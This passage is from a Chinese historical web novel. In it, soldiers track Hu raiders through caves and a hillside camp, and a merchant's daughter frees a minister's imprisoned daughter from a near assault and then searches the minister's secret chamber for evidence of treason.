“大部队临走前虽尽力将场地恢复原样,但匆忙之下总归会留下蛛丝马迹的。”
“比如说呢?”李一彦的语气不算耐心,这处地方初看构造简单,单口进出,中有空地,如一个大肚花瓶,花瓶的中心是胡人的老巢。但亲身走进才知道,这哪里是花瓶,分明是草原上的兔子洞。一条通着一条,交错复杂,常人根本不知对方会从哪个洞口钻出去。
更要命的是,洞内被碎石铺满,不像外面山林的土地,还能留下脚印。
他们只能一条一条通道搜,往往是走了半天,发现里面是死胡同,或者绕回了原地。这样搜寻,无异于大海捞针。
身后,被他抽调来的金吾卫弟兄们正在不厌其烦慢慢捞针,他烦躁地用手挠了挠发髻。
这么一条一条道路地捞,捞到正确的道路时,他们早就跑出郊区地界了。
御林军与金吾卫就像跗骨之蛆,缠在他身上,今日寻不到胡人老巢,日后他们必定会来索他的命。
这还是其次,更重要的是,他不愿输给杜阳那孙子。
“他娘的。”李一彦憋了半天还是没憋住心底的脏话。
一旁的宋臻怎会惯着他的焦躁,李一彦再三的急切让她面色一冷,她指着地上的碎石道:“比如这些碎石的厚度。”
“厚度?”
“嗯,这些碎石是特意洒上,用来掩盖行进方向的。”
“总不能给它都掀开吧?时间不够呀!”李一彦本能地回复道,但心中粗略盘算了一下将碎石扫开观察地面的可行度——果然是不可能完成的任务。
“不。”宋臻不知从哪里搞来一根木枝,朝着地面几处戳了戳,碎石堆出现一个个小坑:“断后的人在洒石头时,通常是将走过的路用两边的碎石掩盖,同时倒着走。所以他走的那条路,会出现中间厚两边薄的情况。”
“所以......”宋臻手上戳探
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的动作不停,在李一彦沉默半晌过后,她终于松了一口气:“找到了。”
她手中的木棍抬起,刀锋般径直指向李一彦身后一处不起眼的小道。闻声赶来的金吾卫举着火把照亮了路口——
碎石铺满的地面,不起眼的隆起蜿蜒指向路口,消失不见。
“追!”
...
“那宋家知晓此事了吗?”
“嗯。但只有宋臻清楚。为避免打草惊蛇,昨夜尚未召集整个宋家军。”男人的视线微微抬起,他看向阮绮华的发间。
在未能将所有胡人捉获归案之前,大张旗鼓地搜寻只会引起朝廷与民众恐慌。所以明知此事凶险,但派去的人手必须多加控制。
“为何是宋臻?”阮绮华微微蹙眉,宋将军的膝下只有宋臻这一个女儿,这样危险的事情,于情于理来说都不该让她去。
宋将军在追查与实战方面的经验也远超宋臻吧?
“是她自己要求的。”陆临渊的声音中有无奈,更多的是敬佩。
午夜,将军府祠堂,肃穆的红烛下。
大雍最具有声望的将军宋濂正在沉睡,他的女儿身着软甲身姿挺拔。正诚恳地向肤色苍白的权臣提出请求:
“宋氏一族世代为国效力。家父戎马半生,在边境的风沙中一刀取下胡人首级,为大雍立下赫赫战功。但他的身体也因此受到重重创伤。我知此行凶险,但请陆大人相信,我宋臻习武多年,绝不是为了在京城享受荣华富贵,而是时刻准备为保护大雍的河山献出生命!”
“如今胡人就在眼前,请陆大人给我这个机会,我定带着胡人的首级凯旋。在此之前,请替我瞒住宋将军。”
烛光将女子的影子拉得很长,直至蔓延到身后黑底金字的牌位。那满堂的牌位静默着不发声,祖祖辈辈的英灵却与宋臻脚下的光影融为一体。
金丝的软甲,连接处却用软布细细裹住,那是最坚固不可催的护佑。
“......但是,如何瞒得过宋将军呢?”阮绮华忍不住发问,战场上厮杀下来的一代名将,岂能是随意扯两个谎就能糊弄过去的。
陆临渊轻笑一声,“我从未答应她,要瞒住宋将军。”
偌大一个将军府,就那么两三位主子,满院子都是宋家军。
若没有宋濂首肯,谁能从他眼皮子底下逃脱?
初长成的雏鹰迫不及待振翅高飞,沉默的雄鹰骂骂咧咧地张开双翅——
“哼,不愧是老子的闺女。”“那个谁,小李子,该怎么做不用我说了吧?遇到危险你在前面,遇到麻烦你来解决......哦不过要是丘林轩那小子出现的话你就往后稍稍好了,老子杀了他爹,得由我宋家的女儿杀他家的儿子才算公平。”
为她编织坚固的网。
“宋将军真是......”阮绮华也忍不住笑弯了眼。
随后,她正色道:“那么陆大人,我也想同你商量一事。”
“何事?”
“请帮我瞒住我家阿爹阿娘,我要去柳家一探究竟。”
52. 磨磨唧唧的男人
“不行!”几乎是本能地,拒绝的话从男人口中说出。“不行!”几乎是本能地,拒绝的话从男人口中说出。
“这样太危险了,若是宋将军在,也必定不会同意你这样做的。”
杂草丛生的荒郊野岭,根本谈不上有路可言。窸窸窣窣的行进声音背后,山间清晨的大雾将人的身影变得模糊。
只有一处男声压抑不住地从半人高的杂草丛中传出——
“诶宋臻!走慢些,等等我,诶诶诶,前面是坑!!!”
“再不追,黄花菜都要凉了。”
走在前面的女子似乎对男人的提醒很不以为意,面对男人愈发提高的声调,她头都没回,冷冷甩出一句话后脚下甚至又提了速。
方才找到方向后,她本想一个人单独提速,先追上去,但李一彦这厮跟眼珠子贴她身上了似的,在她开溜之前一嗓子就嗷了出来。
众将士七嘴八舌地开始劝她不要单独行动——想到这里宋臻就恨得牙痒痒,恨不得长出四只手来,两只将胡人弄死,剩下两只抽空把李一彦也顺手掐死。
这人到底是不是陆临渊手底下的副将啊?婆婆妈妈一惊一乍成何体统!
宋臻蹙起眉,抿住唇时绷紧的下颌线像极了宋将军,而这又让后头的李一彦摸了摸自己的项上人头,一股寒气从他脖颈处陡然升起。
“莫要只身深入险境,敌方人数众多,即便是追上了,正面对敌,我们也是没有优势的。只能迂回作战,尽量拖延时间到后援的到来。”
“嘶——”李一彦捂住脖子,一道细长如丝线的口子出现在那处,血线隐约从伤口显露。“你看你看,我方才一个不注意,就被胡人留下的陷阱划伤了。”
“大人,那好像是横生的树枝......”个高憨厚的赵六终于忍不住开口。
李副使何时变得如此磨磨唧唧,这一路上得亏宋姑娘带着他们走上正确道路,李一彦一惊一乍的,不说宋姑娘黑脸,连他都看不下去了。
“去去去,不说话没人把你当哑巴。”李一彦有苦说不出,宋将军就差把刀架在他脖子上了,他哪敢不把眼珠子贴宋臻脑门上。
就算宋濂不送他上一天,亏待为大雍做出巨大贡献的宋将军的独苗苗,他敢保证,也是会被京城所有百姓的唾沫星子淹死的。
这趟追人,要是碰不到丘林轩也就罢了,要是好死不死那小子真来了,那才是真的麻烦。
李一彦颇为头疼地一面跟紧宋臻,一面在脑海中思索着,他该如何不打消大小姐积极性的同时,让她不着痕迹地混个战功。
或者自己能不能按住姓丘林的胡人小子,让他被宋臻摘下脑袋来呢?
天色大亮,自清晨起笼罩在山林中雾气渐渐散去。
前方的路比方才好走些了,但李一彦不自觉叹了口气。胡人必定是在夜色的掩盖下遁走,天亮了,好搜寻了,这个时候的胡人应当也在新的落脚处安营扎寨了。
又是一根突如其来从一侧斜斜飞出的枝条,李一彦漫不经心地拨开了它。
没事的,就算把整座山翻过来,他也必须给人找到了揪出来,更何况这样短短的时间,他们再能躲,又能躲到哪去。
深深浅浅的脚印到了一处草丛格外茂密出断开,一路追查的领头人终于停下了脚步。
“可是口渴?抑或是脚酸?”
“......不。”一路冷着脸的宋臻的语气变得古怪。虽然他知道这很不合时宜,但他还是从这短短的一个字里读出了奇特的味道。
这个字从喉咙中挤压出来,若有似无。像是某种大型动物在窥探到猎物踪迹时,不由自主发出的兴奋咕噜声。
能让宋臻兴奋起来,难道是......?
李一彦侧过身,抬手平放示意众将士勿要发出声音。
自己则是几个错步,游鱼一般不着痕迹地换位到了宋臻身旁,领先她半个身位的地方。顺着她的目光看过去——
远处杂乱的树丛中,有人影快速晃动。
【追!】
宋臻单手抬起,指了指自己,然后握拳屈肘举起手臂,上下快速摆动几下,示意自己先快速追上,让其他人跟上。
但李一彦显然不同意她的主张。他抢在宋臻出发之前,未做指挥,先行动了。
——在这样的突袭中,不需要两位同时行动。
落后半步的宋臻气得咬牙,暗骂李副使无半点将领风范。却见后方一众金吾卫默契的半屈膝紧凑跟上,无一人掉队。
当下也只能深吸一口气,紧随众人身后。
打头阵的李一彦也终究是显露出了匹配他身份的突袭手段。
猫腰屈膝,脚尖点地,像山林中自然生长的动物,几个起落之间飞跃出几丈远,不过几息时间,已经悄然接近目标。
“咖嚓——”
“谁?!”树丛后的影子站起来,浓重的血腥气从他所处的位置散开。他的身量几近一座小山,在察觉危险的一瞬间,背部鼓胀的肌肉暴涨起来,几乎要将衣服撑破。
呼吸在一瞬间冰冻,宋臻的身体大幅度前倾,眼见着就要落地发出更大的声音,好在赵六的手臂稳稳拉住了踩到坑里的她,而她以一种有些滑稽的姿势,类似被提着后颈皮的幼犬,停留在半空。
“呖,呖”“忒.......”受惊的鸦雀从枝头发出尖锐的叫声,细小的翅膀急促扇动过后,砉(hua)地一声从树枝起飞,失了压力的枝条快速回弹到原有的位置,发出细微的晃动声。
“哈,该死的麻雀。”(胡语)
那大个子鹰一般锐利的目光凝视着腾飞的麻雀,片刻后,小山轰然倒塌,青筋虬结的肌肉放松下来,大个子挥了挥手臂,四下张望过后,盘腿又坐了下去。
赵六也找准时机,将宋臻稳稳放在地上。遥遥看到宋臻安稳落地的李一彦这才松了口气,将取出的飞镖再次送回袖中,这才惊觉背后已经是一片冷汗。
李一彦停在了在距离目标最近的枝头,低头定定观察大个子胡人。
只见那人腾的坐下后,拿起了方才血腥
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味的源头——从脖颈处被撕开,尚且在汩汩流血大型野兔。
但他似乎闻不到这样猛烈的血腥味,抑或觉得这是美味的象征,大手一掏,便将野兔的内脏扯了出来,那兔尸不知被牵扯到了什么经络,后腿不自觉地抽动一下。胡人随意丢在一旁的空地上,与生生拔下来的皮毛混在一起,血肉模糊的一团。
腥味顺着风涌入众人呼吸之中,噎得众人面露难色,只有处在腥味中心的胡人毫不在意,三两下将带着血的兔肉塞进嘴里。
末了用拇指粗略将唇边的血渍擦擦,低语了一句什么之后,起身拍了拍肚子离开了。
李一彦站得高,待胡人走远,细细看过胡人前进的方向后,几个飞跃,又回归了众人的队伍。
“那是个‘眼睛’。”李一彦罕见地放下了先前的笑意,面带凝重地对众人说道。
胡人将驻扎处附近观察情况的小兵叫做“眼睛”。若是“眼睛”意识到有什么不对,他们不会撤离,而是会立即蜂拥而至,企图将敌人蚕食。
“但方才你不是伪装得很好吗?我断定他不曾起疑心。”
“也许是。”李一彦顿了顿,看向那处空地,“他也许没有对这附近有鸟类起疑心,但我怀疑,他已经闻到了我们身上的气味。”
“怎么会!血腥味那样重......”
李一彦不欲对胡人的嗅觉有多灵敏再多做解释,只是当机立断地下令,让众人立马撤离,同时告知身量最轻巧的一名金吾卫,命他快速先行回去搬救兵。
“若时间不够,直接去宋家见宋将军。不必同陆大人禀告,将军自会行动。”
“是!属下这就出发。”
“出发什么?来都来了,不如一并留下吧,中原人。”
轻快愉悦的少年嗓音从众人身后响起。
嗅觉如鬣狗一样灵敏的胡人们,果然赶来了。
——
距离礼佛大典,还有两日。
钦天监监正将柳春明的院门敲得震天响,面上的兴奋掩都掩不住,显然有什么急切的喜事想要同柳春明商议。
但他来得似乎不凑巧,柳春明的院门在大力的敲击下纹丝不动,院中一片安静。
“这老狐狸,作甚去了?这么要紧的关头,不上朝也不在家的。”
更奇怪的是,偌大一个尚书府,竟连丫鬟婆子都见不到几个,从进门到现在,见到的为数不多的下人,都是一副缩成鹌鹑的模样。
别说抓来问话,连他稍微走近两步都吓得颤抖。
监正咂摸两下,反头看了一眼身后两人抬着的大木箱。
罢了,反正这人被用了药,总不会插翅膀飞了,暂且让下人搁在柳家便是。
“抬到柳大人库房去吧!待他回来,告诉他钦天监给他送了份大礼!”
“是。”“仔细着点!里头的东西贵重着,若是损坏了一丝一毫,你们两个的命加起来都不够赔的!”
两下人闻言默默紧了紧手上的力气,在监正哼着的小调中拐进了库房。
53. 做个交易
狭小的房间中一片昏暗,墙壁上被不知何物划出一道道红褐交错的印记。唯一的窗户被人用木板钉死,腐朽与尘土堆积的混杂气味足以让任何一个人在进门的一刹那就被逼退。
然而在这样恶劣的环境中,竟还有人存在着——厚重的呼吸声在这处密闭的空间中格外触目惊心。那是地上的女子发出来的,此刻,她额角的汗珠止不住地下落,身体却因畏冷而紧紧蜷缩,面上分明是高热导致的潮红。在她身下,茅草铺就的“床”散发出陈年腐朽的血腥气。
离开这个空间的唯一途径,是她近在咫尺处的木门。门被人从外部牢牢锁上,连门上探视的小窗也被封得严实。
唯一的光亮从木门底部洞开的方形窗口中透出。那便是每日,不对,不定时给她投喂食物的窗口。这窗口五寸见方,将将够尚书府小厨房里缺了口的那个瓷碗挤进来,除此之外别说成年人,哪怕是刚出生的婴孩恐怕都很难通过。
柳如霜被关在这里不过两日。但食物与水的短缺和冬夜的寒风已经给她锦衣玉食惯了的身子带来强烈的不适。
高热让她整个人如飘在云雾中。被捧在手心呵护多年的柳二小姐什么时候受过这种委屈。细长的眉毛深深蹙起,她嗫嚅着嘴唇,不死心往外喊:
“放,放我出去......”
“哗啦——”方形窗口的木板被快速掀开,挤进来的却不是她渴求的任何一样东西。
而是被叠成小方块的薄薄信纸。
啐!这帮吃干饭的下人,送的什么东西?柳如霜费劲地将信纸展平,只见上面没有落款也没有姓名,只有短短几个字——
别吃任何东西。
什么?
柳如霜在脑海中搜索了一遍,确认自己没有见过这个字迹。
她都落魄成这样了,不让她吃喝,不是要她的命吗?
这人该不会是戏弄她的吧?
正想着,小窗再次被推开来。
熟悉的破口瓷碗被人轻蔑地砸进来,落在地上发出沉闷的一声响。“您还活着吧?二小姐。”
柳如霜认得那声音,那是常年跟在他爹身边,油嘴滑舌的仆从。
她讨厌这人,分明是捧臭脚的低贱角色,连站在人前都不配,却总是在难以察觉的角落,用恶心油腻的眼神黏上她。
但她没法不回应,对方随时有可能将唯一的食物和水源撤走。
“......哼。”她不情不愿地从喉咙深处挤出点动静来,只不过风寒高热让她的嗓音低沉,几乎不可闻。
但这不影响那人从嘈杂的风声中准确听到她的回应。
“没死就好,慢慢享用吧,尊贵的二小姐。”外面的人满意地回应。
却没有像往常一样立即离开。
而是在柳如霜犹豫是否要相信那张纸上的内容将食物推开时,反常地忽然蹲下了身子。木门底部的窗口再次被推开,一只不带情绪的三角眼冷不丁地看过来。
带着男人独有的冰冷凝视。
柳如霜几乎是竭尽全力才忍住内心想要尖叫出声的欲望。手上迅速将本来要推开的动作换成了扣紧碗沿,动作太过急切,以至于手指几乎插进糊成一团的剩菜中。
天太冷,剩菜上的油结成厚厚的一层垢。油腻冰凉的触感顺着指尖攀附上来,蔓延到全身,引起一片一片细小的颤栗。
“狗奴才,谁给你的胆子直视本小姐用膳!”
“二小姐,奴才不敢,是老爷亲自吩咐的,他担心您的身子,叮嘱小的必须看着您吃下今日的午膳。”
男人的话说的堂皇轻巧,仿佛前几日柳如霜这里有一顿没一顿的餐食不是他亲手送来的一般。
地板将男人的半边脸挤压得变形,随着他的话,那只三角形的眼睛如同角落等待扑食的毒蛇般闪烁出光芒。
柳如霜咽下到喉咙口的恶寒。缓慢地挪到碗边,脑中飞速思考。
怎么办?看如今的样子,若她不老实吃完今日的饭,这男人定是不打算走了。
给她送信的到底是何人?那人说的到底是真是假?若是真的,那人为何要帮她?
无数疑问在柳如霜脑海中盘旋,但外面的男人可没有耐心给她时间纠结。
木板摇晃的声音催命一般在她耳边响起。
男人已经发出了催促声。
她心一横,“看看看,让你看!”腹中的饥饿让她实在无法保持平日的细嚼慢咽,捧起碗大口大口地吞咽。
她记不得上一次进食是什么时候,她看不到眼前的食物被白色的油脂覆盖,只一股脑将它糊成一团塞入口中。
油脂在口中化开的黏腻感让她几度作呕。从云端被拉入泥土的感觉并不好受,她的吃相也并不悦目。
但男人却看得饶有兴趣,木门下,他的三角眼却投射出毫不掩饰的笑意。一直到亲眼见到送来的碗见了底,男人才意犹未尽地起身离去。
连送来的瓷碗都忘了拿走。
脚步声渐渐远去,直至消失不见。柳如霜小心翼翼地爬到木门边,侧耳贴上,耳膜中清晰传来自己因紧张而剧烈的心跳。
终于确认那人已经走远,她迅速将自己窝回稻草窝成的床铺后方。双手并用地抠向咽喉处的软肉。
顾不得凌乱的发丝,直到双手沾满了污秽,腹中再次传来空虚的感觉,她才双膝一软跌坐在地。
手心的纸条被她捏得发皱,她在心中暗骂,该死的贱人,不管你是谁,最好别骗我。
不然......她的咒骂被腹部传来的如擂鼓的声音打断了。风寒的不适并没有脱离她,强打起精神之后是更深的难受感。
疾病与饥饿同时缠绕着她,但一日只有一顿饭,这处角落不再有人注意。
时间被拉得漫长,长时间的空腹让她的腹中传来绞痛,这对于本就虚弱的柳如霜而言,更是雪上加霜。她只能保持蜷缩的姿势,企图为自己汲取一丝温暖。
半梦半醒间,日光换成了月光。
“吱呀——”极其轻微的一声响,今日第三次,有人推开了木门下的盖板。
“谁......”终于来了?!
柳如霜费劲地睁开眼,愈发加重的发热让她的眼前变得模糊。她的视线里,一截雪白如藕节的纤细手臂伸了进来。
女子?!
那人趴下身子,月光下,一张精
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致的脸出现在洞口。“嘘!”压低的声音及时制止了她即将发出的惊呼。
“怎么会是你?你来做什么!”若不是身体不适,柳如霜几乎要整个人弹跳起来。
“惊讶么?但我没时间同你废话,我来是要救你的。柳春明把你关在这里,是要将你卖给老男人,就在两日后。”阮绮华一面向周围张望,一面低声开口。
“什么救我?你莫不是要害我。”柳如霜自然是不信的,上一次见面,她差点将对方一箭射死,或者让野猪将她踩死。
结果如今,自己落魄了,她却说要救自己?真当自己是饿傻了病昏了不成,这话说出去让人笑掉大牙。
“不是白救,我要同你做个交易,如果你不答应,自然也可以拒绝。”
“那你要如何救我出去?你看得到,这里四处被封死,除非你天生神力,徒手将门锁打碎,不然,没人”能从这里出去。
后半句话,柳如霜的声音愈发减弱。
有的,有人曾经从这间柴房出去过。很凑巧,她们二人就在为数不多知晓此事的人之中。
二人对视一眼,默契地跳过了这个话题。柳如霜并不关心所谓的交易,沉默片刻,她又开口发问:
“你怎知道我爹要卖我?你有何证据!”
“我不需要证据,你已经相信了。”阮绮华意有所指地看向角落的一滩污秽。
“那男人对你有何心思,你应当已经有了知觉,这不必我多说。他一介端茶送水的小厮,能有什么胆子堂而皇之地对你下手?”
“当然是在确认了你即将被柳大人卖出去以后,找准你被关住的最后时机,为自己谋一把福利。”
“你仔细想想,那小厮是不是府上最贴近你柳大人的人之一。”
的确,因为他的油嘴滑舌,见风使舵,虽然出身低贱,眼界不高,但多年下来,他已经成为了柳春明身边贴身随侍的仆人。
柳春明与人议事时,他就守在门外。
偶尔柳春明同人应酬回来,甚至会与他简单交流几句。
两日后......
想到阿娘那里偶然说漏的口风,对于阮绮华的提议,柳如霜的心中已经有了定夺。
“那么你要从我这里获得什么?你也能看到,我现在可以说是个废人,你应当知道,想要拿我来要挟阿爹是没有用的。”
“现如今,我的命,对他来说也许还比不上你的。”柳如霜颇有几分自嘲。
“我已经没有什么利用价值了。”
“不,你先不用将话说得太早,一切等你出来可再商议。”
“现在的首要任务是让你从这间柴房里先出来。”
“你不怕我出来以后就不再认你那什么劳什子交易?”
“啧,这你就不用操心了,我阮家世代经商,从不做赔本生意。”
“大不了你若是违约,我再将你送进这柴房里。”
“你!”
“好了,别说话!”
门外的女子突然一个闪身离开。
院门吱呀一声被推开,月光下,一道摇摇晃晃的影子走近,这处破落的柴房,又迎来了今夜的新客人。
54. 溜门撬锁的富家小姐
这里称不上是小院,因为所谓院门不过只是几块废弃的木板,恰好堆砌在入口。
叮铃桄榔的声音在安静的夜色中显得格外突兀。
但男人对这点声响毫不在乎,他从腰间摸索出钥匙,动作之间没有心虚,仿佛心中十分笃定今夜不会有人来此处,阴影里的半边脸上是掩盖不住的兴奋。
“噫这破门怎么还打不开了呢......”也许是因为视线受阻,男人抓着钥匙捅了几次都没有插进锁孔,嘴上骂骂咧咧几句,忍不住用了蛮力。
铁锁与木门发出砰砰的撞击声,在夜色中重重砸到柳如霜心上。
“砰——”
要进来了吗?他要对我行不轨之事了吗?这样黑,他动静那样大,显然毫无顾忌。
“砰砰——”
该死的阮绮华,她说好了救我,她到底能怎么救?!
门被啪的一声打开,背对月光,男人迈进门,的影子被拉长,蛇一般从地面爬行,附上柳如霜蜷缩的身体。
柴房还是他前几日关她进来时的模样。
肮脏杂乱的环境,混淆着尘土与食物的腐朽气息。男人环顾一圈,嘴角抬起满意的弧度。下一刻,他蹲下身子,三角形的眼睛闪出精光。
他没有点灯,就这样就着月光,单手捏起柳如霜的下巴。
“啧,真是个美人啊......我的小姐......”
锦衣玉食被保养良好的一张脸蛋,即便经历了这连日的磋磨,也还是泛着光泽。高热带来的潮红,更是给平日端庄的面容平添了几分娇艳。
男人俯下身子,潮湿的呼吸喷洒在柳如霜的脸上。距离太近,连带着男人身上腥臊的气息都争先恐后钻入她每一个毛孔。
“我的好小姐,我的好霜儿,你不知道我在夜里想了你多少次......别怪我给你下药,你太美了,仅仅是想着你,我都要忍不住,若是看着你的眼睛,我怕,我怕我忍不住伤了你......”
柳如霜紧闭的眼睛无法抑制地动了动,面上的肌肉随着男人的每一次触碰而不自觉绷紧。
该死的,男人似乎对她光洁的肌肤爱不释手。带着茧子的手从轻捻到揉搓,不知名的潮湿液体蹭上她脸颊。
温热的呼吸喷洒在她颈间的时候,阮绮华对她说的最后一句话回荡在耳边。
“一会儿一定忍住,装作睡着,我一定会来救你!”
可是男人将头埋在她的颈窝时,柳如霜还是默默睁开了眼,她出身高贵,家族强势,即便是被柳春明责罚,这辈子也从未被有任何人轻贱侮辱,眼下的情况让她如何能忍?!
可浑身的力气好像被抽干了一般,她的手脚都不听使唤,她拼命像攥紧袖中的瓷片,她灵巧的,能一箭射穿牲畜的手抖得不像话......该死的,贱人,混蛋,天杀的,救救她,谁都好,救救她!
她看着大开的木门,张大嘴想要呼救。可喉咙就像被湿棉花堵住,怎么都发不出声。
男人终于按耐不住将她压倒在地,矮小的腥臭的身子趴附在她身上,属于另一个人的粗糙的肌肤贴上她的。柳如霜绝望地看着皎洁的月光。
该死的阮绮华骗了她。
她终于,再次闭上眼。
“噗呲——”
是什么东西刺入血肉的声音。如同定格一般,身上男人蛄蛹的动作突然停滞下来,温热的液体滴落,湿润了她肩膀处的衣物。
分明只是一滴,却在这个冬夜中灼热得发烫。
她的瞳孔骤然放大,比方才被人压在身下不能动作时更加僵硬。她就这样定定看着有人伸出纤细的手,一把将她身上的男人掀开,对神游天外的她喝道:“走啊!木着做什么?你不想逃了?”
紧接着那人低低骂了句大概是“木楞子”之类的话,边骂边扯住她的手,将她从地上拉起来就往外跑。
“我这费半天劲救出来的柳二小姐莫不是个傻的,被人压着也不知道叫?该不会真做了亏本买卖吧?嘶罢了罢了,人都救出来了,大不了一会儿给一巴掌让清醒一下,看看还有救没。”
那人脚下生风,嘴上也不停,偶尔遇到道路不平,她灵巧一跃人就躲了开来,还得回头确认一下自己过去了没。若不是自己勉强跟上,看样子她已经摩拳擦掌盘算着自己扛起来跑。
该死,这人的背影分明娇小得要命,绯色衣裙在黑夜中却一团火一般烧得旺盛。
烧啊,烧了这该死的尚书府!
柳如霜仰起头看周遭的景物,像是第一次看到自己生活了十几年的地方一般,在心中大声咒骂这该死的鬼地方。
她们从库房后门旁边的狗洞钻进去,在阮绮华拔下发间金钗熟练地打开两道小门的门锁后,并排喘着粗气躺在了地上。
“你们这些江南来的富家小姐都这样吗?”
“那样?”
柳如霜喘着气瞟向门口,土生土长的京城高门大小姐哪见过这种溜门撬锁的阵仗,何况阮绮华的动作行云流水,一看就是惯犯。
阮绮华:“你想学?”
柳大小姐翻了个颇为不雅的白眼:“谁会想学这种下三滥的招数啊!”
“啧,说得好似你们柳家的手脚就干净了。”阮绮华随意睨了一眼身侧泛着幽光,足有半人高的冰种翡翠摇钱树。“不巧,这树两个月前还摆在我家库房门口。喏,看见它头顶秃了的那片没?那几片叶子现在还摆在我家狸奴的窝里。”
“......”柳如霜一时语塞,暗骂一声柳春明眼光不好,秃了头的东西他也拿,也不怕兆头不好。
“行了,不过是点小玩意,就是寓意不好,你要是表现好,回头去江南我送你几颗不秃头的。”阮绮华随意地摆摆手,“说正事吧,也没几个时辰了。”
算上上朝的半个小时,满打满算,他们还有三个时辰的时间可以动手。
终于要提要求了吗?柳如霜揣着手等她开口。
却听见对方以一种风轻云淡的语气同她要求:“我要进趟书房,麻烦柳二小姐去给我开门。”
“?”
柳如霜有些怀疑自己是否听错了,如果她没有烧糊涂,像她这样被关禁闭,抓准时机杀了人才好不容易逃出来的人,难道不应该趁着夜色逃之夭夭吗?
哪家逃犯堂而皇之回去耀武扬威的。
柳如霜沉默
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地看向阮绮华,意思是你终于要害我了吗?
但阮绮华坚定道,“一会儿你爹去上朝,你就带我去书房。”
于是两个时辰后——
天蒙蒙亮,柳如霜晕晕乎乎地带着三日前她还想置于死地的人,到了自家书房的门口。
“把门打开,让我进去。”
“二小姐,您?”
“我什么,怎么,小姐的话你都可以不听了?
”
“不是不是,小姐,是老爷一直严禁禁止外人进入书房,您没有老爷的许可,小的实在是不敢......”
“你好大的狗胆,我爹说的是外人,我是外人吗?!我看你这双眼是瞎了,自家有几位主子都分不清楚。你记住,尚书府只有我这一个小姐,得罪我,就是得罪我爹,你再啰嗦,信不信我这就将你发卖出府!”
“诶别别别,您自然不是外人,不是外人。”
那看门的下人一个劲陪着笑,这几日柳春明太忙,能做主的大仆人也不在,他可得罪不起柳如霜。
至于本该被关在柴房的人为何面色不佳满身凌乱地要闯书房,这不是他一个小小下人该管的。
血浓于水,万一柳尚书心情一好,上朝之前给人放出来了,谁说得准。
他躬身屈膝,满脸堆笑着打开门,伸手做出“请——”的姿势。
柳如霜看都没看他一眼,昂着头就往里迈,阮绮华则换了身侍女的衣裳,低着头跟紧她进了门。
“啪!”
两人一进去,书房门就被柳如霜重重关上,门外的小仆心中忐忑,还扒着门窗往里看,差点被拍扁了鼻子。
门内,柳如霜拉着阮绮华快步走向里间:“行了,现在我给你带进来了,你要做什么就手脚快些,我爹一下朝,小仆必定就要给他报信。”
“嗯,多谢。”阮绮华也不多说,这就动手开始翻找。
还真是宫里一件,柳家一件。
阮绮华扫视一眼,这书房不大,多数人乍一看,这不过是一张黄花梨的褡裢桌,一处博古架,背后一处山水画,看右下角的印章,应当是先帝亲赐。这些都是他这品级的官员常用的物件。
但阮绮华可不是多数人,她是用惯了好东西的,就连儿时把玩的泥人,都得是名家专门为她定制的独作。
是以,她一打眼就发现了这里的不同——其他官员的博古架上,摆的多是些不值钱的赝品。但柳春明的这五层的架子上,满满当当的可都是货真价实的真宝贝。
她朝前走,视线停留在第二层的三彩花瓶,这就要按照哑女的嘱咐扭动它。
“等等。”身后的柳如霜突然叫住了她,“你是要,灭了柳家吗?”
书房内很安静,柳如霜的声音不大,却像玉珠骤然落地,脆响得让人难以忽略。
“......那得看柳大人能不能给我这个机会了!”阮绮华双手握住花瓶,用力一扭。
轰隆一声。
博古架一分为二,露出一条由人鱼烛引路的通道来。
“看来柳大人是没打算让我失望了。”阮绮华歪歪头,对怔楞的柳如霜露出真心实意的笑。
55. 再次被反水?
阮绮华噙着笑回头:“柳家不愧是京中名门,这么客气?”
随着她的脚步,身旁的人鱼烛烧得愈发旺盛,烛光照亮了周遭的环境——柳春明竟在自家书房的地下室,修建了一个王座!
人鱼烛小道尽头处,半径不过丈许的一方平台上,围绕着十二根攀附着龙凤的石柱,拳头大的夜明珠在柱上幽幽发光,四周的墙壁是用工匠打磨一处一处凹槽,满满当当放着数不尽的珍宝。
正中央,宽大方正,铺着一整块虎皮的百年檀木四方桌和背后龙爪攀附的太师椅静静坐镇。
柳如霜倒吸一口凉气,双手不知道放哪合适,瞳孔止不住地震颤。这样的冲击下,大概只有两种人能保持面上的平静。
一种是不认识好货的眼拙之人,另一种,则是阮大小姐。
“柳尚书这是不再掩饰了?王座都建好了。”她看都不看一眼周围的珠光宝气,一个大步迈到中央道:“别跟我说你因为这点钱想反水,银子还是得到自己荷包里才是真的。”
说罢昂首朝柳如霜一比划,这是示意她去外头看门的意思。自己则伸手翻找起桌上的书册。夜明珠柔和的光辉下,桌面金丝楠木的印章流动生辉。
柳如霜一边气结一边往外走,气的是阮绮华这一遭将她视作下人般使唤,但更气的是自己的腿脚居然真听了她的安排。
“你手底下抓紧着点!”
柳如霜不放心地叮嘱,阮绮华头都没抬一下。
她只顾着在四周翻找了。
桌面,斗柜空空如也,偌大一块书桌上只随意放着几本游记。密室的地上干净得像是此地从未有人进来过。
难不成柳惊鸿是在骗她?
阮绮华蹙起眉,但若是此处真没有什么幺蛾子,柳春明花功夫建密室作何用?总不能说是为了满足自己的装扮欲吧!
这话扯给傻子,傻子都不信。
她绕着桌子与斗柜咚咚敲了一圈,一无所获。但她不信邪,从椅子上下来,猫着腰蹲到了书桌之下,手指屈起,敲打桌腿的木板。通常情况下,工匠会按照主人的习惯为其打造家具,柳春明的体型比她略高一截,若是坐下来,手垂下来的高度大概是.....
找到了!
左侧桌腿的上三分之一处,她摸到了一处不明显的小小凸起,其边缘的一圈相较桌腿的其他地方的触感光滑许多。她心中有了底,两指并起用力一抠,原本平静的桌板下方嗡地一声,弹出一处暗格。
有了。
她急忙伸向桌下的暗格,果然,指尖触摸到一封薄薄信件。
阮绮华将信件拿出来,信封的字圆润却有力,简单的“柳大人亲启”几个字,即便是对书画了解甚少的人也能明白写字之人的笔力。
字写得确实不错。她在心中淡淡点评。
但为何只有这一封信?柳惊鸿不是说这里有所有的证据吗?阮绮华一面要打开信纸,一面脑海中蹦出来这个疑问。
一种难以言喻的预感从她的脚底往上升。
“咚,咚咚——”
人鱼烛的尽头,隐隐响起有节奏的敲门声。
——
顽劣轻佻的胡人声音响起,众人呼吸一滞。李一彦则不动声色地上前,他将宋臻护在身后。
视线交汇,为首的年轻胡人笑着露出了尖尖犬齿,只见他满头墨发往后梳起,夹杂着数条彩色发辫,耳下还坠着某种兽类的骨头碎片。
宋臻几乎是一瞬间就认出了他是谁——那杀千刀的已逝前任胡人头子唯一的小儿子,丘林轩。
也是她爹废了半条命斩杀的异族仇敌之子,是她宋臻此行要斩杀的目标之一。
